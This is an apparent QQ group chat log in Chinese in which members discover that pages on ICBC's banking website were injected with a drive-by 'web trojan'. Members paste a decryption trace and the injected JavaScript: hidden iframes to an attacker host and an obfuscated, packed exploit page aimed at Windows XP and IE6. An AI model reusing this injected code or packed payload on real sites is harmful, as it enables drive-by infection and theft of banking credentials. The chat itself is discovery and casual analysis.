月亮哥<xx-xxxxxxxxxxx@qq.com>  19:39:10

月亮哥<xx-xxxxxxxxxxx@qq.com>  19:39:16
http://www.52pojie.net/thread-75986-1-1.html
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:39:22
胆子好大。
Wenle(xxxxxxxxxx)  19:39:34
抓下来
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:39:33
工商银行都挂上马了。
Wenle(xxxxxxxxxx)  19:39:43
网马抓下来
Wenle(xxxxxxxxxx)  19:39:47
速度！
Wenle(xxxxxxxxxx)  19:39:57
解密找到木马exe
Wenle(xxxxxxxxxx)  19:40:02
绝对的网银木马
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:40:06
你们抓啊。
Wenle(xxxxxxxxxx)  19:40:10
高科技的玩意
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:40:20

月亮哥<xx-xxxxxxxxxxx@qq.com>  19:40:29
关于:hxxp://www.icbc.com.cn/icbc/%e7%bd%91%e4%b8%8a%e7%90%86%e8%b4%a2/%e5%ae%9a%e5%88%b6%e9%a1%b5%e9%9d%a2/%e5%9c%a8%e7%ba%bf%e7%90%86%e8%b4%a2%e4%b8%ad%e5%bf%83.htm解密的日志(全体输出 -  14):

Level  0>http://www.icbc.com.cn/icbc/%e7%bd%91%e4%b8%8a%e7%90%86%e8%b4%a2/%e5%ae%9a%e5%88%b6%e9%a1%b5%e9%9d%a2/%e5%9c%a8%e7%ba%bf%e7%90%86%e8%b4%a2%e4%b8%ad%e5%bf%83.htm
Level  1>http://www.icbc.com.cn/icbc/include/icbccommon.js
Level  1>http://www.icbc.com.cn/icbc/%e7%bd%91%e4%b8%8a%e7%90%86%e8%b4%a2/%e5%ae%9a%e5%88%b6%e9%a1%b5%e9%9d%a2/=null
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/CommonClient.js
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/Windows.js
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/Console.js
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/OptionsClient.js
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/JavaScriptUIStrings.js
Level  1>http://www.icbc.com.cn/ICBC/CMS/WebAuthor/Client/Dates.js
Level  1>http://search.icbc-ltd.com/searchcenter/search.aspx?KeyWord=+escape
Level  1>http://www.icbc.com.cn/ICBCMemberCenter/UserIdentity/UserInfoShow.aspx?class=text2c&color=&count=6
Level  1>http://bbs.imoney.com.cn/User/ICBClogin.aspx?tourl=http://online.imoney.com.cn/icbc/UserLogin.aspx
Level  2>http://bbs.imoney.com.cn/User/ICBClogin.aspx?tourl=online.imoney.com.cn/JScript/Common.js
Level  2>{::无法加载::}http://6070.9966.org:1/images/1.gif

analyzed by 是昔流芳
Wenle(xxxxxxxxxx)  19:40:55
也不知道哪个黑客这么屌
Wenle(xxxxxxxxxx)  19:41:07
抓到以后 不枪毙 也够呛了
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:41:49

00後黑客(xxxxxxxxx)  19:43:23
还没删除啊
(本消息由该成员通过手机QQ发送，体验手机QQ请登录： http://mobile.qq.com/c )  
月亮哥<xx-xxxxxxxxxxx@qq.com>  19:44:24
真强大。
00後黑客(xxxxxxxxx)  19:45:06
  

 随便看了一下里面的JS，先贴出来，以后有心情再去研究

function Get(){
var Then = new Date() 
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie1=sb1;expires="+ Then.toGMTString()
document.write("<div style='display:none'>")
document.write("<iframe src=http://6070.9966.org:1/js/js/mp.htm></iframe>")
document.write("<iframe src=http://6070.9966.org:1/js/js/1.htm></iframe>")
document.write("</div>")}
}Get();

第一个页面

<SCRIPTLANGUAGE="JavaScript">

<!--Hide
functionkillErrors(){

returntrue;
}

window.onerror=killErrors;

//-->

</SCRIPT>

<script>

nav=navigator.userAgent.toLowerCase();

wxp=((nav.indexOf('windo'+'wsnt5.1')!=-1)||(nav.indexOf('windowsxp')!=-1));

if(!wxp||navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69"+"\x65\x36")==-1)location.replace("about:blank");

</script>

<bodyid="ANHEYWWMM"></body>

<scriptsrc="nop.swf"></script>

<scriptsrc="not.swf"></script>

<scriptsrc="no.swf"></script>

<scriptsrc="n.swf"></script>
<SCRIPTLANGUAGE="JavaScript">

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(newRegExp('\\b'+e(c)+'\\b','g'),k[c])}}returnp}('R("\\u\\1\\j\\v\\0\\3\\6\\7\\d\\x\\h\\o\\y\\m\\2\\4\\f\\i\\o\\j\\2\\1\\f\\2\\P\\k\\2\\m\\2\\4\\f\\r\\z\\h\\z\\l\\z\\E\\S\\2\\o\\z\\l\\z\\f\\z\\p\\9\\a\\c\\u\\1\\j\\v\\0\\3\\Q\\0\\B\\0\\O\\d\\o\\o\\e\\e\\l\\0\\3\\B\\N\\M\\n\\n\\7\\l\\0\\3\\B\\N\\M\\n\\n\\9\\a\\c\\u\\1\\j\\v\\k\\h\\u\\2\\o\\y\\f\\2\\C\\C\\d\\I\\q\\9\\a\\c\\u\\1\\j\\v\\0\\3\\6\\7\\n\\d\\y\\4\\2\\e\\o\\1\\H\\2\\r\\0\\3\\0\\3\\s\\t\\s\\t\\p\\9\\a\\c\\u\\1\\j\\v\\0\\3\\6\\7\\0\\d\\k\\h\\u\\2\\o\\y\\f\\2\\C\\C\\l\\0\\3\\s\\t\\i\\k\\2\\4\\g\\f\\5\\9\\a\\c\\b\\5\\8\\k\\2\\r\\0\\3\\6\\7\\n\\i\\k\\2\\4\\g\\f\\5\\D\\0\\3\\6\\7\\0\\p\\0\\3\\6\\7\\n\\l\\d\\0\\3\\6\\7\\n\\9\\a\\c\\0\\3\\s\\t\\6\\7\\d\\0\\3\\6\\7\\n\\i\\e\\y\\E\\e\\f\\j\\8\\4\\g\\r\\q\\J\\0\\3\\6\\7\\0\\p\\9\\a\\c\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\d\\0\\3\\6\\7\\n\\i\\e\\y\\E\\e\\f\\j\\8\\4\\g\\r\\q\\J\\0\\3\\6\\7\\n\\i\\k\\2\\4\\g\\f\\5\\L\\0\\3\\6\\7\\0\\p\\9\\a\\c\\b\\5\\8\\k\\2\\r\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\i\\k\\2\\4\\g\\f\\5\\l\\0\\3\\6\\7\\0\\D\\q\\A\\T\\q\\q\\q\\q\\p\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\d\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\l\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\l\\0\\3\\s\\t\\6\\7\\9\\a\\c\\m\\2\\m\\h\\j\\G\\d\\4\\2\\b\\v\\0\\j\\j\\1\\G\\r\\p\\9\\a\\c\\K\\h\\j\\r\\A\\d\\F\\9\\A\\D\\W\\q\\I\\9\\A\\l\\l\\p\\a\\c\\m\\2\\m\\h\\j\\G\\U\\A\\L\\I\\X\\d\\b\\h\\e\\5\\8\\1\\4\\5\\2\\8\\b\\1\\4\\g\\m\\1\\l\\0\\3\\s\\t\\9\\a\\c\\0\\6\\3\\P\\Y\\s\\s\\t\\t\\i\\1\\H\\H\\2\\4\\x\\B\\5\\8\\k\\x\\r\\0\\3\\6\\7\\p\\9\\a\\c\\0\\3\\6\\7\\i\\5\\2\\8\\g\\5\\f\\d\\w\\F\\w\\9\\a\\c\\0\\3\\6\\7\\i\\b\\8\\x\\f\\5\\d\\w\\F\\w\\9\\a\\c\\0\\3\\6\\7\\i\\x\\1\\f\\1\\d\\w\\i\\V\\k\\h\\g\\i\\g\\8\\K\\w\\9\\a\\c\\0\\3\\6\\7\\i\\o\\k\\1\\e\\e\\8\\x\\d\\0\\3\\Q\\0\\B\\0\\O\\9")',61,61,'101|141|145|110|156|150|116|130|151|73|15|167|12|75|163|164|147|157|56|162|154|53|155|123|143|51|60|50|127|115|166|40|47|144|165|42|170|103|161|74|142|61|171|160|62|54|146|55|117|122|111|105|106|eval|152|64|133|57|63|135|131'.split('|'),0,{}))
</SCRIPT>

<scriptlanguage="javascript"src="http://count35.51yes.com/click.aspx?id=358272700&logo=1"charset="gb2312"></script>